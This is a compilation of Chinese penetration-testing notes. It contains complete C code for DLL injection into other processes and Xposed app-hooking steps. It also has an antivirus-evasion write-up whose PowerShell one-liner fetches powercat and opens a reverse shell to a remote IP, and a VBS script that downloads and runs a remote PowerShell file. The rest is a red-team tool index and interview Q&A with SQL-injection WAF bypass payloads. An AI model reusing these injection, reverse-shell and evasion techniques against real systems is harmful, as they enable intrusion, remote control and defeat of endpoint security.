  13. CreateRemoteThread远程线程调用 原理: * 读取目标要注入dll的进程句柄 * 计算存储DLL路径所需要的字节数 * 为远程进程分配一个内存以存储DLL路径名称 * 复制DLL路径到远程进程 * 获取LoadLibraryW在Kernel32.dll中的地址 * 创建远程调用LoadLibraryW(在远程地址空间中)加载DLL * 等待远程线程结束(卸载DLL) #include "stdafx.h" #include <Windows.h> int main(int argc,char *argv[]) { DWORD dwDesiredAccess= PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE; BOOL bInheritHandle=0; DWORD dwProcessId; PCWSTR dllPath = TEXT("C:\\testdll.dll"); //设置DLLL路径 int dlllen = lstrlen(dllPath); int dllbytes = dlllen * 2; //计算dll路径长度 if (argc == 2) { dwProcessId = atoi(argv[1]); } else { printf("Example:test.exe <process_id>\n"); exit(1); } HANDLE process=OpenProcess(dwDesiredAccess,bInheritHandle,dwProcessId); //读取进程获取句柄 if (process==0){ printf("[-] OpenProcess failure,Error code:%d\n",GetLastError()); exit(1); } else { printf("[*] OpenProcess Sucess\n"); } LPVOID vallex = VirtualAllocEx(process, 0, dllbytes, MEM_COMMIT, PAGE_READWRITE); //给远程地址分配一个可以放下dll路径的内存空间 if (vallex == 0) { printf("[-] VirtualAllocEx failure,Error Code:%d\n",GetLastError()); exit(1); } else { printf("[*] VirtualAllocEx Sucess\n"); } if (!WriteProcessMemory(process, vallex, dllPath, dllbytes, 0)) { //远程内存写入 printf("[-] WriteProcessMemory failure,Error Code:%d\n", GetLastError()); exit(1); } else { printf("[*] WriteProcessMemory Sucess\n"); } FARPROC moduleaddress = GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); //获取Kernel32.dll里面LoadLibraryW函数地址 if (moduleaddress == 0) { printf("[-] GetProcAddress failure,Error Code:%d\n", GetLastError()); exit(1); } else { printf("[*] GetProcAddress Sucess\n"); } HANDLE createthread_ = CreateRemoteThread(process, 0, 0, LPTHREAD_START_ROUTINE(moduleaddress), vallex, 0, 0); //在远程进程调用dll if (createthread_ == 0) { printf("[-] createthread failure,Error Code:%d\n", GetLastError()); exit(1); } else { printf("[*] CreateRemoteThread Sucess\n"); WaitForSingleObject(createthread_, INFINITE); //等待线程创建结束(卸载DLL) } return 0; } 注入测试 RtlCreateUserThread DLL远程注入 RtlCreateUserThread是CreateRemoteThread的底层实现,所以使用RtlCreateUserThread的原理是和使用CreateRemoteThread的原理是一样的,这个函数可以实现跨会话创建线程。唯一的问题就是:当我们在Vista 之前的操作系统调用此函数所创建的线程并没有通知给csrss 进程,它没有完整的初始化,在调用一些网络或者其它的系统函数的时候他可能返回失败,而通过CreateRemoteThread 创建的线程没有任何问题,在Vista+的操作系统上调用此函数也没有问题。因此我们需要判断系统版本,当目标系统为Vista-的时候,我们应该通过RtlCreateUserThread创建一个挂起的线程,然后调用CsrClientCallServer通知csrss 这个线程的创建,然后csrss 做相应的记录及初始化工作之后,我们再恢复线程的执行。最后,我们新创建的线程必须自己调用ExitThread退出,否则也会产生崩溃的情况。 原理: * 读取目标要注入dll的进程句柄 * 计算存储DLL路径所需要的字节数 * 为远程进程分配一个内存以存储DLL路径名称 * 复制DLL路径到远程进程 * 获取LoadLibraryW在Kernel32.dll中的地址 * 创建远程调用LoadLibraryW(在远程地址空间中)加载DLL * 在卸载的时候会此DLL #include "stdafx.h" #include <Windows.h> #include <tlhelp32.h> typedef DWORD(WINAPI * pRtlCreateUserThread)( HANDLE ProcessHandle, PSECURITY_DESCRIPTOR SecurityDescriptor, BOOL CreateSuspended, ULONG StackZeroBits, PULONG StackReserved, PULONG StackCommit, LPVOID StartAddress, LPVOID StartParameter, HANDLE ThreadHandle, LPVOID ClientID ); DWORD findbyname(WCHAR *name) { HANDLE p; PROCESSENTRY32W p2; p = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); p2.dwSize = sizeof(PROCESSENTRY32); printf("Proces Listlen:%d\n", p2.dwSize); BOOL besult = Process32FirstW(p, &p2); int calc = 0; while (besult!=FALSE) { int pid = p2.th32ProcessID; WCHAR *processname = p2.szExeFile; if (wcscmp(processname, name) == 0) { printf("%d ", pid); wprintf(processname); printf("\n"); return pid; } besult=Process32NextW(p,&p2); calc++; } return 0; } void Errorcode() { printf(",Error Code:%d\n", GetLastError()); exit(1); } DWORD dllinject(LPCSTR dll,int pid) { HANDLE h; h = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); if (h == 0) { printf("[-] OpenProcess failure"); Errorcode(); } printf("[*] OpenProcess Sucess\n"); LPVOID moduleaddress = (LPVOID)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")),"LoadLibraryA"); if (moduleaddress == 0) { printf("[-] GetProcAddress LoadLibraryW failure"); Errorcode(); } printf("[*] GetProcAddress LoadLibraryW Address Sucess,Address=0x%x\n", moduleaddress); pRtlCreateUserThread RtlCreateUserThread = NULL; RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "RtlCreateUserThread"); if (RtlCreateUserThread == 0) { printf("[-] GetProcAddress RtlCreateUserThread failure"); Errorcode(); } printf("[*] GetProcAddress RtlCreateUserThread Address Sucess,Address=0x%x\n", RtlCreateUserThread); //DWORD dwSize = (strlen(dll) + 1) * sizeof(char); SIZE_T dwSize = strlen(dll); LPVOID vt = VirtualAllocEx(h,0, dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (vt == 0) { printf("[-] VirtualAllocEx failure"); Errorcode(); } printf("[*] VirtualAllocEx Sucess,Address=0x%x\n", vt); BOOL dlladdress = WriteProcessMemory(h, vt, dll, dwSize, 0); if (dlladdress == 0) { printf("[-] WriteProcessMemory failure"); Errorcode(); } printf("[*] WriteProcessMemory Sucess\n"); HANDLE hRemoteThread = NULL; RtlCreateUserThread(h, NULL, 0, 0, 0, 0, moduleaddress, vt,&hRemoteThread, NULL); printf("%d\n", GetLastError()); if (hRemoteThread ==0) { printf("[-] RtlCreateUserThread failure"); Errorcode(); return 1; } printf("[*] RtlCreateUserThread Sucess\n"); printf("[+] Dll Inject Sucess\n"); return 0; } int main() { WCHAR *processname = TEXT("notepad.exe"); LPCSTR dllpath = "C:\\Users\\JiuShi\\Desktop\\ABC.dll"; printf("DLL PATH:"); printf("\n"); int pid=findbyname(processname); dllinject(dllpath, pid); system("pause"); return 0; }
  14. 环境 夜神模拟器 6.6.0.5 Android version 5.1.1 Xposed.installer(5.11安卓系统) Xserver (0.6.2) 4.42安卓模拟器Xposed框架链接: https://pan.baidu.com/s/1depSSHCy0KYcFZzkPH7aZQ 密码: vmyr 5.11安卓模拟器Xposed框架链接: https://pan.baidu.com/s/1erZD4gMk1MQdVklnrmSuLg 密码: s4j4 Xserver下载 https://github.com/monkeylord/XServer Starting 安好xp框架,然后安装好xserver 两个坑: xp框架安装好后重启后发现未激活 - 重启后重新安装 (这里我没遇到) xserver安好后激活了模块之后发现还是无法激活 - 重启Android。重启之后还是没用重新安装xp框架 随便安个APP,拿的某音作为测试,打开某音。然后在Xserver选中对应的app adb连接 adb connect 127.0.0.1:62001 adb shell //检查8000端口是否真的打开了 adb forward tcp:8000 tcp:8000 //映射到本地的8000端口 访问Sucess的话如下 然后可以看到各种module?还是包。不知道该怎么称呼….,随便点开一个可以看到详细信息 访问http://127.0.0.1:8000/tracer可以搜索什么函数之类的然后可以Hook 搜了个http,然后点击Hook Matched Class可以Hook了,然后刷新一下某音视频就能看到hook了的结果 然后就是什么配置Android然后burp抓包看什么的。一般都是通信被加密了,然后通过这种方法来对着看什么什么之类的。没搞过就不说了
  15. 前言 中午开始想从360手上搞点好果汁吃。奈何360太流氓,一句拦截行天下 得出来的结果 360不拦截本机执行powershell,但是拦截其他进程调用powershell cmd也是一个道理 是先执行被拦截的进程,被检测到然后360结束进程 vbs下载只有下载保存的文件后缀不为hta、exe就不会被拦截,可以保存为txt、ps1 有360的机子,不能将文件重命名为exe、hta 但是,用系统本身存在的功能进行远程下载它会拦截,用第三方的远程下载器并不会拦截 360对powershell拦截的不是内容,拦截的是参数 ijps1 IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.241.147 -p 4445 -e cmd vbs Set post=CreateObject("Msxml2.XMLHTTP") post.Open "GET","http://192.168.3.4/ij.ps1" '发送请求 post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() '等待3秒,等文件下载 wscript.sleep 3000 aGet.Write(post.responseBody)'写数据 aGet.SaveToFile "ij.ps1",2 set ws=wscript.createobject("wscript.shell") ret=ws.run ("powershell -nologo -file ij.ps1" ,3,true) 测试结果: elTNkV.md.gif PS:绕过是绕过,但是是落地执行 py下载器 import requests import optparse import os class zx(object): def __init__(self,command): self.command=command def __call__(self,zx): def wt(*args,**kwargs): print('[+] 开始下载') try: rqt=requests.get(url=args[0],headers={'user-agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36'},timeout=3) global value value=len(rqt.content) dk=open(args[1],'wb') dk.write(rqt.content) dk.close() except: pass if os.path.exists(args[1]): jd=len(open(args[1],'rb').read()) if jd==value: print('[+] 文件:{}下载成功'.format(args[1])) else: print('[-] 文件:{}下载失败,失败原因:大小不一致'.format(args[1])) else: print('[-] 文件下载失败') return zx(*args,**kwargs) return wt @zx(command='calc') def download(url,file): pass def demo(): usage='download.py -u [url] -s [save_filename]' parsersq=optparse.OptionParser(usage) parsersq.add_option('-u',dest='url',help='指定要下载的URL路径') parsersq.add_option('-s',dest='file_name',help='保存为什么名称') (options,args)=parsersq.parse_args() if options.url and options.file_name: download(options.url,options.file_name) else: parsersq.print_help() exit() if __name__ == '__main__': demo() 结果: elTbAP.png 360并没有拦截
  16. WEB 安全手册 【声明】个人的快速查询目录,经验整理,仅供参考。 【内容】包括个人对漏洞理解、漏洞利用、代码审计和渗透测试的整理,也收录了他人相关的知识的总结和工具的推荐。 0x00 技能栈 依照红队的流程分工,选择适合自己的技能栈发展。 越接近中心的能力点越贴近web技术栈,反之亦然。可以根据自身情况,选择技术栈的发展方向。 0x01 漏洞理解篇(Vulnerability) 1.1 前端 同源策略 & CSP & JOSNP 跨域安全 1.2 后端 应用分层 & 漏洞分类 错综复杂的后端逻辑及安全 1.3 打造自己的知识库 爬取范围包括先知社区、安全客、Seebug Paper、跳跳糖、奇安信攻防社区、棱角社区 [Tool] 推送安全情报爬虫@Le0nsec 0x02 漏洞利用篇(Exploit) 2.1 前端安全-XSS XSS 利用的是用户对指定网站的信任 Cross Site Scripting (XSS) 2.2 前端安全-CSRF CSRF 利用的是网站对用户网页浏览器的信任 Client-side request forgery (CSRF) 2.3 SQL注入&数据库漏洞利用 SQL injection - MySQL SQL injection - Oracle SQL injection - MSSQL MySQL,Oracle,MSSQL和PostgreSQL的OOB方法 SQL injection - 信息外带(OOB) Redis 漏洞利用 程序检测参数不能为空,导致空口令无法利用 [Tool] 数据库综合利用工具 [Tool] MSSQL利用工具 2.4 模板注入 Server Side Template Injection (SSTI) MVC架构中,模板参数恶意输入产生的安全问题 STTI 总述 SSTI -Python SSTI -PHP 2.5 命令注入&代码执行 命令注入&代码执行-PHP 命令注入&代码执行-Java 2.6 Xpath注入 XPath 即为 XML 路径语言 XPath Injection 2.7 XML External Entity (XXE) XXE 2.8 文件上传漏洞 文件上传漏洞 远古时期的通杀利器 FCKeditor编辑器漏洞利用 2.9 Server-side request forgery (SSRF) SSRF 2.10 反序列化漏洞 php,java只能序列化数据,python可以序列化代码。 反序列化漏洞-PHP 反序列化漏洞-Java [Tool] 反序列化漏洞利用工具-Java ysoserial 拓展payload和添加脏数据绕过waf功能 [Tool] 反序列化漏洞利用工具 针对Java ysoserial进行拓展 2.11 包含漏洞 包含漏洞-PHP 2.12 PHP-特性漏洞 2.13 Java-特性漏洞 表达式注入Java SprintBoot漏洞利用清单@LandGrey 按照清单做的配套工具 [Tool] SprintBoot漏洞利用工具 2.14 NodeJs-特性漏洞 Node.js 原型链污染 2.15 Other 利用前后DNS解析的不一致(劫持或者逻辑问题) DNS rebinding 攻击 前后端不一致性 请求走私总结@chenjj 0x03 代码审计篇(Audit) 3.1 PHP vscode&phpstorm方案,xdebug2.X和xdebug3.X配置 PHP调试环境的搭建 PHP代码审计@bowu678 3.2 JAVA Java调试环境的搭建 Java代码审计@cn-panda Java安全@Y4tacker Java漏洞平台@j3ers3 3.3 .NET .Net反序列化@Ivan1ee 3.4 Perl CGI Perl CGI快速上手,了解Perl语言特性 Perl基础&代码审计@mi1k7ea 0x04 渗透篇(Penetration) 【流程】网络预置(信息收集)-->网络接入(外网突破)-->权限获取和提升-->权限维持(后门)-->后渗透 【基础】---免杀+++反溯源+++协同--- 4.0 环境准备 4.0.1 代理客户端 操作系统 on VM + OpenWrt网关 on VM = 全局跳板 全局代理[VMware]:Openwrt on VMware网关方案 全局代理,虚拟网卡,需要手动配路由 全局代理[Win]:Windows下socks客户端全局代理终极解决方案——tun2socks SSTap全局代理也是基于虚拟网卡方案,可惜已停止更新,推荐使用1.0.9.7版本 [Tool] Windows下全局代理客户端工具 SSTap Proxifier 全局代理支持并不好,可以设置规则选择指定程序走代理或直连 [Tool] Windows下代理客户端工具 Proxifier [Tool] Windows版 proxychains 4.1 网络预置 4.1.1 常规信息 外网信息收集思路 4.1.2 资产搜索引擎 fofa.so shodan.io zoomeye.org censys.io 4.1.3 移动端 从移动端拓展目标信息 [Tool] 移动端信息收集工具 AppInfoScanner [Tool] 安全分析框架 MobSF 4.2 网络接入(exp) 4.2.1 漏洞验证(扫描器) 工欲其善必先利器 4.2.1.1 主动式 [Tool] AWVS Docker版 [Tool] 长亭的扫描器 Xray [Tool] Vulmap [Tool] 红队综合渗透框架SatanSword@Lucifer1993 4.2.1.2 被动式 将Burpusuite打造成一个被动式扫描器 [Tool] BurpSutie 插件集合@Mr-xn 4.2.2漏洞利用(1day) 漏洞索引表【待整理】 IoT安全 & web安全& 系统漏洞 1day整理 漏洞利用wiki 红队中易被攻击的一些重点系统漏洞整理@r0eXpeR 织梦全版本漏洞扫描@lengjibo [Tool] Struts2漏洞扫描&利用 [Tool] shiro反序列化漏洞利用 4.2.3 字典 常用的字典,用于渗透测试、SRC漏洞挖掘、爆破、Fuzzing等@insightglacier Fuzzing相关字典@TheKingOfDuck 4.3 权限获取&提升 4.3.1 Win 离线|在线|破解 Windows 认证凭证获取 [Tool] mimikatz Windows认证凭证提取神器 已经停止更新到CVE-2018 Windows提权漏洞集合@SecWiki 4.3.2 Linux Linux 认证凭证获取 Linux setuid提权 Linux 提权检测脚本 lse.sh 已经停止更新到CVE-2018 Linux提权漏洞集合@SecWiki 4.3.3 Docker&Sandbox逃逸 Dokcer容器逃逸@duowen1 4.4 权限维持&后门 4.4.0 通用 Meterpreter of Metasploit 使用教程 backdoor生成,meterpreter操作指令 4.4.1 Shell会话 反弹/正向 Shell & 升级交互式Shell (Linux&Win) 4.4.2 Webshell [Tool] WebShell管理工具 菜刀 [Tool] WebShell管理工具 蚁剑 [Tool] WebShell管理工具 冰蝎 [Tool] WebShell管理工具 哥斯拉 收集的各种Webshell@tennc 4.4.3 PC & Server [Tool] Cobalt Strike Cobalt Strike资料汇总@zer0yu 4.4.4 Mobile (Android & ios) 4.5 免杀 免杀系列文章及配套工具@TideSec 4.6 隧道&代理 SSH 端口转发&开socks5 Iptables 端口复用 FRP 客服端和服务端配合的端口转发工具 [Tool] 反向端口转发工具 FRP Venom 可以嵌套多层代理,适合多层无外网的渗透测试,停止更新 [Tool] 内网多级代理服务端工具 Venom 比Venom更加稳定,持续更新【推荐】 [Tool] 内网多级代理服务端工具 Stowaway HTTP代理,国内更新维护【推荐】 [Tool] HTTP代理 Neo-reGeorg 4.7 后渗透 4.7.1 内网信息获取 信息获取 & 远程文件操作 & 远程执行命令 & ipc$ & wmic & winrm Windows 主机常用命令 可以提取流量中用户名&密码,NTML Hash,图片等,以及绘制网络拓扑。 [Tool] 流量取证工具 BruteShark Windows rdp相关的登录记录导出工具。 [Tool] 浏览器数据导出解密工具 [Tool] SharpRDPLog 4.7.2 轻量级扫描工具 内网扫描神器,go语言跨平台,效率快,支持各类口令爆破,还有主机识别和web服务识别。 [Tool] fscan k8 team的内网扫描器 [Tool] Landon 4.7.3 渗透框架 [Tool] 后渗透利用神器 Metasploit [Tool] 内网横向拓展系统 InScan [Tool] 开源图形化内网渗透工具 Viper 4.7.4 域渗透 域渗透@uknowsec 4.7.5 云平台 通过accesskey获取相关主机权限执行命令 [Tool] Aliyun Accesskey Tool 4.8 反溯源 Linux 痕迹清理 4.9 协同 HackMD markdown协同工具(Docker版)
  17. 正常面试官会提问这些问题,你照常回答即可。
  18. 介绍一下自认为有趣的挖洞经历(或CTF经历) 你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案? 你平时使用哪些工具?以及对应工具的特点? 如果遇到waf的情况下如何进行sql注入/上传Webshell怎么做?请写出曾经绕过WAF的经过(SQLi,XSS,上传漏洞选一) 参考以下三篇 我的WafBypass之道(SQL注入篇) 我的WafBypass之道(Upload篇) 我的WafBypass之道(Misc篇) 谈一谈Windows系统与Linux系统提权的思路? 列举出您所知道的所有开源组件高危漏洞(十个以上) 描述一个你深入研究过的 CVE 或 POC。 SQLi 如何判断sql注入,有哪些方法 添加单引号,双引号,order by, rlike,sleep,benchmark,运算符,修改数据类型,报错注入语句测试 介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些? 宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造及修复方案? 通俗讲,gbk,big5等编码占了两个字节,sql语句进后端后对单引号等进行了转义,转义\为%5C,当前面的%xx与%5C能结合成两个字节的字符时候,就可以使后面的单引号逃逸,从而造成注入。比较常见的gbk,%df' => %df%5c%27 => 運' 。已经可以单引号了,剩下的就和普通注入差不多了。 修复方式通过设置MYSQL数据库字符集utf8mb4,PHP字符集utf-8。 你都了解哪些sql 的bypass技巧 这种太多了,网上一搜一大把。主要还是看目标站点的过滤和防护,常见bypass可以是/**/替换空格,/!00000union/ 等于union,或者利用前端过滤,添加尖括号<>。大小写什么的都太常见了,如果过滤了函数或者关键字,可以尝试其他能达到效果的同等函数,关键字比如or 1=1可以用||1替换,或者用运算符比如/,%达到相同的效果。总之,还是看要求。 sqlmap如何对一个注入点注入? 如果是get型,直接,sqlmap -u “注入点网址”. 如果是post型,可以sqlmap -u “注入点网址” –data=”post的参数” 如果是cookie型,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用*号替换,放到文件里,然后sqlmap -r “文件地址” mysql的网站注入,5.0以上和5.0以下有什么区别? 5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。 5.0以下是多用户单操作,5.0以上是多用户多操做。 mysql注入点,用工具对目标站直接写入一句话,需要哪些条件? root权限以及网站的绝对路径。 以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路? demo.do?DATA=AjAxNg== 发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选? Domain 解释一下同源策略 如果两个页面的协议,端口和域名相同,则可认为是同源。 同源策略,那些东西是同源可以获取到的 读取cookie, LocalStorage 和 IndexDB 读取DOM元素 发送AJAX请求 如果子域名和顶级域名不同源,在哪里可以设置叫他们同源 大概就是子域相同,主域不同的意思吧,可以通过在两房都设置document.domain来解决跨域。 如何设置可以跨域请求数据?jsonp是做什么的? 主域相同时跨域,可以像上面那样设置document.domain. 主域不同时,可以通过jsonp,websocket,在服务端设置CORS进行跨域请求。H5新增window.postMessage方法解决跨域请求。 通过<script>像服务器请求json数据,不受同源策略限制。 jsonp的业务意义? Ajax Ajax是否遵循同源策略? ajax全名是Asynchronous JavaScript and XML ,异步的javascript和XML技术。遵循同源策略,但是可以通过jsonp等进行规避。 JSON注入如何利用? XSS跨站攻击 JSON和JSONP的区别? JSONP劫持利用方式及修复方案? 浏览器策略 不同浏览器之间,安全策略有哪些不同,比如chrome,firefox,IE 三种浏览器都遵循同源策略,内容安全策略(CSP), Cookie安全策略(httponly, Secure, Path) CSP是什么?如何设置CSP? CSP:Content Security Policy,内容安全策略。是繁育XSS攻击的一种安全机制,其思想是以服务器白名单的形式来配置可信的内容来源,客户端Web应用代码可以使用这些安全来源。 XSS XSS是什么,修复方式是? XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。 xss的发生场景? 个人理解是对用户提交数据为进行安全的过滤然后直接输入到页面当中,造成js代码的执行。至于具体场景,有输出的地方就有可能被xss的风险。 XSS持久化? 如果给你一个XSS漏洞,你还需要哪些条件可以构造一个蠕虫? XSS蠕虫:XSS攻击可能会造成系统中用户间的互相感染,导致整个系统用户的沦陷,能够造成这种危害的XSS漏洞成为XSS蠕虫。 1、构造一个具有自我复制的反射型XSS 2、插入评论、留言框 3、用户点击链接,链接内容指向同样的XSS向量。也就是注入了蠕虫代码的的存在存储型xss的页面。链接被点击后将继续造成蠕虫传播。 在社交类的网站中,哪些地方可能会出现蠕虫? 留言板/评论/文章发布/私信... 如果叫你来防御蠕虫,你有哪些方法? 1、将本地带有破坏性的程序改名字。 2、关闭可执行文件。 3、禁止“FileSystemObject”就可以有效的控制VBS病毒的传播。具体操作方法:用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。 4、开启浏览器的安全设置。 如果给你一个XSS盲打漏洞,但是返回来的信息显示,他的后台是在内网,并且只能使用内网访问,那么你怎么利用这个XSS? github有一些现成的xss扫描内网端口的脚本,可以参考利用,再根据探测出来的信息进一步利用,比如开了redis等,再就是利用漏洞去getshell. 如何防范 XSS 漏洞,在前端如何做,在后端如何做,哪里更好,为什么? 黑盒如何检测XSS漏洞? CRLF注入 CRLF注入的原理 CRLF是回车+换行的简称。碰得比较少,基本没挖到过这种洞,简而言之一般是可以通过提交恶意数据里面包含回车,换行来达到控制服务器响应头的效果。碰到过潜在的CRLF都是提交回车和换行之后就500了。CRLF的利用可以是XSS,恶意重定向location,还有set-cookie. CSRF CSRF是什么?修复方式? CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范`的页面然后嵌入Token、再次输入密码、检验Referer。 CSRF漏洞的本质是什么? CSRF即跨站请求伪造,以受害者的身份向服务器发送一个请求。本质上个人觉得是服务端在执行一些敏感操作时候对提交操作的用户的身份校检不到位。 防御CSRF都有哪些方法,JAVA是如何防御CSRF漏洞的,token一定有用么? 防御CSRF一般是加上referer和csrf_token. 具体可以参考这篇CSRF攻击的应对之道 CSRF、SSRF和重放攻击有什么区别? CSRF是跨站请求伪造攻击,由客户端发起 SSRF是服务器端请求伪造,由服务器发起 重放攻击是将截获的数据包进行重放,达到身份认证等目的 SSRF SSRF漏洞原理、利用方式及修复方案?Java和PHP的SSRF区别? 逻辑漏洞 说出至少三种业务逻辑漏洞,以及修复方式? 1)密码找回漏洞中存在密码允许暴力破解、存在通用型找回凭证、可以跳过验证步骤、找回凭证可以拦包获取等方式来通过厂商提供的密码找回功能来得到密码 2)身份认证漏洞中最常见的是会话固定攻击和 Cookie 仿冒,只要得到 Session 或 Cookie 即可伪造用户身份 3)验证码漏洞中存在验证码允许暴力破解、验证码可以通过 Javascript 或者改包的方法来进行绕过 越权访问(水平/垂直/未授权) 谈谈水平/垂直/未授权越权访问的区别? 越权问题如何检测? XML注入 XXE是什么?修复方案是? XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。 URL重定向 URL白名单绕过 HTML5 说说HTML5有哪些新的安全特性 H5新增了不少标签,在绕过xss防御方面多了不少选择。还有就是新增了本地存储,localstorage 和session storage,可以通过xss修改本地存储达到类似一个存储xss的效果。 * HTML5白名单要有哪些标签 参考HTML5安全问题 java 你都了解哪些java框架? struts2 ,spring,spring security, shiro 等 java的MVC结构都是做什么的,数据流向数据库的顺序是什么? 了解java沙箱吗? ibats的参数化查询能不能有效的控制sql注入?有没有危险的方法可以造成sql注入? 说说两次struts2漏洞的原理 ongl在这个payload中起了什么作用? \u0023是什么字符的16进制编码?为什么在payload中要用他? java会不会发生执行系统命令的漏洞?java都有哪些语句,方法可以执行系统命令 如果叫你修复一个xss漏洞,你会在java程序的那个层里面进行修复? xss filter在java程序的哪里设置? 说下java的类反射在安全上可能存在哪些问题 Java反序列化漏洞的原理?解决方案? PHP php里面有哪些方法可以不让错误回显? php的配置文件php.ini进行了修改,display_errors = On 修改为 display_errors = off时候就没有报错提示。 在php脚本开头添加error_reporting(0); 也可以达到关闭报错的作用 除了上面的,还可以在执行语句前面添加@ php.ini可以设置哪些安全特性 关闭报错,设置open_basedir,禁用危险函数,打开gpc。有具体的文章介绍安全配置这一块,属于运维的工作范围。 php的%00截断的原理是什么? 存在于5.3.4版本下,一般利用在文件上传时文件名的截断,或者在对文件进行操作时候都有可能存在00阶段的情况。 如filename=test.php%00.txt 会被截断成test.php,00后面的被忽略。系统在对文件名读取时候,如果遇到0x00,就会认为读取已经结束了。 php webshell检测,有哪些方法 个人知道的大体上分为静态检测和动态检测两种。静态检测比如查找危险函数,如eval,system等。动态检测是检测脚本运行时要执行的动作,比如文件操作,socket操作等。具体方法可以是通过D盾或者其他查杀软件进行查杀,现在也有基于机器学习的webshell识别。 php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的? php反序列化漏洞的原理?解决方案? 中间件 tomcat要做哪些安全加固? 如果tomcat重启的话,webapps下,你删除的后台会不会又回来? 常见的网站服务器中间件容器。 IIS、Apache、nginx、Lighttpd、Tomcat JAVA有哪些比较常见的中间件容器? Tomcat/Jetty/JBOSS/WebLogic/Coldfusion/Websphere/GlassFish 说说常见的中间件解析漏洞利用方式 IIS 6.0 /xx.asp/xx.jpg "xx.asp"是文件夹名 IIS 7.0/7.5 默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析 Nginx 版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。 空字节代码 xxx.jpg%00.php Apache 上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀 lighttpd xx.jpg/xx.php Redis未授权访问漏洞如何入侵利用? 数据库 mysql UDF提权5.1以上版本和5.1以下有什么区别,以及需要哪些条件? 1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。 2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。 3)掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。 4)可以将udf.dll写入到相应目录的权限。 mysql数据库默认有哪些库?说出库的名字 infomation_schema, msyql, performance_scheme, test mysql的用户名密码是存放在那张表里面?mysql密码采用哪种加密方式? mysql数据库下的user表。 mysql表权限里面,除了增删改查,文件读写,还有哪些权限? mysql安全要如何做? sqlserver public权限要如何提权 Windows、Linux、数据库的加固降权思路,任选其一 Linux 简述Linux系统安全加固需要做哪些方面 你使用什么工具来判断系统是否存在后门 Linux的Selinux是什么?如何设置Selinux? iptables工作在TCPIP模型中的哪层? 如果无法升级内核,那么如何保证系统不被已知的exp提权? syslog里面都有哪些日志?安装软件的日志去哪找? 如何查询ssh的登录日志?如何配置syslog的日志格式? syslog可不可以使用vi等工具直接查看?是二进制文件吗? 如果一台Linux服务器被入侵后,你会如何做应急响应? 反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么? 应急响应 有哪几种后门实现方式? webshell检测有什么方法思路? Linux服务器中了木马后,请简述应急思路? 遇到新0day(比如Struts2)后,应该如何进行应急响应? 新业务上线前可以从哪些方向进行安全评估? 现有系统可以从哪些方向进行审计发现其中的安全风险? 信息采集 踩点都要采集哪些信息? DNS在渗透中的作用 如何绕过CDN获取目标网站真实IP,谈谈你的思路? 绕过CDN寻找网站真实IP的方法汇总 如果给你一个网站,你的渗透测试思路是什么? 在获取书面授权的前提下 1.信息收集 1)获取域名的whois信息,获取注册者邮箱姓名电话等。 2)查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。 3)查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞 4)查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血, mysql,ftp,ssh弱口令等。 5)扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针 6)google hack 进一步探测网站的信息,后台,敏感文件 2.漏洞扫描 开始检测漏洞,如XSS,CSRF,SQL注入,代码执行,命令执行,越权访问,目录读取,任意文件读取, 下载,文件包含, 远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等 3.漏洞利用 利用以上的方式拿到webshell,或者其他权限 4.权限提升 提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr, 巴西烤肉 linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql root提权以及oracle低权限提权 5.日志清理 6.总结报告及修复方案 在渗透过程中,收集目标站注册人邮箱对我们有什么价值? 1)丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。 